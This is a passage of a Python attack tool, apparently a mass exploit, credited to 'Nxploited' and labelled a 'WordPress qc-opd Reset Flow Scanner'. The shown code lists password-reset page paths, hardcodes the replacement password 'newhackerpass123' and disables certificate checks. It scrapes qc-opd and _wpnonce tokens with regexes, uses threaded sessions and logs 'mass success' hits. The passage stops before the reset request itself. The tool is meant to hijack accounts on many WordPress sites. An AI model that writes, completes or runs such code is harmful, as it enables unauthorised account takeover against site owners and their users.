#!/usr/bin/env python3 # -*- coding: utf-8 -*- # By: Nxploited # GitHub: https://github.com/Nxploited # Telegram: @KNxploited import os import re import sys import time import random from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Optional, List, Set, Tuple from urllib.parse import urlparse, urljoin import requests import urllib3 try: from colorama import Fore, Style, init as colorama_init # type: ignore colorama_init(autoreset=True) except Exception: class _C: RESET = "" RED = "" GREEN = "" YELLOW = "" CYAN = "" MAGENTA = "" BLUE = "" WHITE = "" Fore = _C() Style = _C() urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) requests.packages.urllib3.disable_warnings() RESET_PAGES = [ "restore", "reset-password", "forgot-password", "password-reset", "recover-password", "restore-password", "lost-password", "account-recovery", "recover-account", "set-new-password", "change-password", ] EXTRA_PAGES = [ "", "login", "signin", "my-account", "account", "profile", "member", "members", ] FIXED_PASSWORD = "newhackerpass123" RESULT_FILE = "scan_results/reset_mass_success.txt" BANNER_CORE = [ " _ _ _ _ _ _ _ _ _ ", " / \\ / |_ __ ) / \\ ) |_ __ |_|_ (_| (_| / \\ /| ", " \\_ \\/ |_ /_ \\_/ /_ _) | | | \\_/ | ", " ", ] AUTHOR_LINE = "By: Nxploited | GitHub: https://github.com/Nxploited | Telegram: @KNxploited" TITLE_LINE = "WordPress qc-opd Reset Flow Scanner" def print_banner() -> None: os.system("cls" if os.name == "nt" else "clear") # حافة كاملة للمربع بالكامل width = 67 # عرض داخلي مريح لكل الخطوط top_border = "╔" + "═" * width + "╗" mid_border = "╟" + "─" * width + "╢" bottom_border = "╚" + "═" * width + "╝" print(Fore.GREEN + top_border + Style.RESET_ALL) # سطر العنوان الأكبر title = TITLE_LINE.center(width) print( Fore.GREEN + "║" + Style.RESET_ALL + Fore.MAGENTA + title + Style.RESET_ALL + Fore.GREEN + "║" + Style.RESET_ALL ) # فاصل هادئ print(Fore.GREEN + mid_border + Style.RESET_ALL) # شعار ASCII for line in BANNER_CORE: padded = line.center(width) print( Fore.GREEN + "║" + Style.RESET_ALL + Fore.CYAN + padded + Style.RESET_ALL + Fore.GREEN + "║" + Style.RESET_ALL ) # فاصل آخر print(Fore.GREEN + mid_border + Style.RESET_ALL) # سطر الكاتب والحسابات author = AUTHOR_LINE.center(width) print( Fore.GREEN + "║" + Style.RESET_ALL + Fore.YELLOW + author + Style.RESET_ALL + Fore.GREEN + "║" + Style.RESET_ALL ) print(Fore.GREEN + bottom_border + Style.RESET_ALL) print() def now_hms() -> str: return time.strftime("%H:%M:%S") def format_site_status( base: str, nonce_status: str, reset_status: str, access_status: str, color: str, ) -> None: line = ( f"[{now_hms()}] " f"[{base}] " f"NONCE: {nonce_status:<4} | " f"RESET: {reset_status:<4} | " f"ACCESS: {access_status}" ) print(color + line + Style.RESET_ALL) def log_note(msg: str) -> None: print(f"[{now_hms()}] {Fore.CYAN}[*]{Style.RESET_ALL} {msg}") def log_warn(msg: str) -> None: print(f"[{now_hms()}] {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}") def log_err(msg: str) -> None: print(f"[{now_hms()}] {Fore.RED}[x]{Style.RESET_ALL} {msg}") def log_done(msg: str) -> None: print(f"[{now_hms()}] {Fore.GREEN}[+]{Style.RESET_ALL} {msg}") def split_wp_base(url: str) -> Tuple[str, str]: url = url.strip() if not url.startswith(("http://", "https://")): url = "https://" + url parsed = urlparse(url) base_host = f"{parsed.scheme}://{parsed.netloc}" path = parsed.path or "/" if path == "/": return base_host, "" return base_host, path.rstrip("/") def build_wp_url(base_host: str, wp_base: str, path: str) -> str: if not path.startswith("/"): path = "/" + path full = (wp_base + path).replace("//", "/") return base_host + full def build_session(timeout: int) -> requests.Session: s = requests.Session() s.verify = False s.headers.update({ "User-Agent": ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/121.0.0.0 Safari/537.36" ), "Accept": ( "text/html,application/xhtml+xml,application/xml;q=0.9," "image/avif,image/webp,image/apng,*/*;q=0.8" ), "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Pragma": "no-cache", "Cache-Control": "no-cache", }) adapter = requests.adapters.HTTPAdapter( pool_connections=50, pool_maxsize=50, max_retries=1 ) s.mount("http://", adapter) s.mount("https://", adapter) return s def extract_qc_opd_nonce_from_js(body: str) -> Optional[str]: if not body: return None m = re.search( r'["\']action["\']\s*:\s*["\']qc-opd["\'][^}]+["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\'][^}]+["\']action["\']\s*:\s*["\']qc-opd["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'(?:qc[_-]?opd[_-]?nonce|qcOpdNonce)\s*=\s*["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'(?:qc[_-]?opd|qcOpd)\s*=\s*\{[^}]*["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) snippet_regex = re.compile(r'.{0,120}qc-opd.{0,120}', re.IGNORECASE | re.DOTALL) for snip in snippet_regex.findall(body): m2 = re.search(r'["\']([0-9A-Za-z]{8,20})["\']', snip) if m2: return m2.group(1) return None def extract_wpnonce(body: str) -> Optional[str]: if not body: return None m = re.search( r'name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'id=["\']_wpnonce["\']\s+name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'_wpnonce["\']\s*value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'name=["\']_wpnonce[_-]?qc[-_]?opd["\']\s+value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'id=["\']qc-opd-nonce["\'][^>]*value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) js_nonce = extract_qc_opd_nonce_from_js(body) if js_nonce: return js_nonce return None def page_contains_sld_and_form(body: str) -> bool: if not body: return False low = body.lower() if "sld" not in low: return False if "_wpnonce" not in low: return False if 'name="action"' in low and 'value="restore"' in low: return True if "